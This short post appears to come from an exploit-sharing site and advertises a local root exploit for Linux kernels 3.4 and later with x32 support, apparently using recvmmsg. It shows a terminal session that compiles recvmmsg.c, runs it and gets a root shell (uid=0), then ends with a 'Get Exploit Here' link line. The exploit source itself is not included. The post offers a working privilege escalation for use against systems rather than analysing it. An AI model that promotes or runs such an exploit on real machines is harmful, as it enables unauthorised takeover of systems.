Linux kernel 3.4+ local root (CONFIG_X86_X32=y)

 

user@ubuntu:~$ uname -a

Linux ubuntu 3.11.0-15-generic #23-Ubuntu SMP Mon Dec 9 18:17:04 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux

user@ubuntu:~$ gcc recvmmsg.c -o recvmmsg

user@ubuntu:~$ ./recvmmsg

byte 3 / 3.. ~0 secs left.   

w00p w00p!

# id

uid=0(root) gid=0(root) groups=0(root)

Get Exploit Here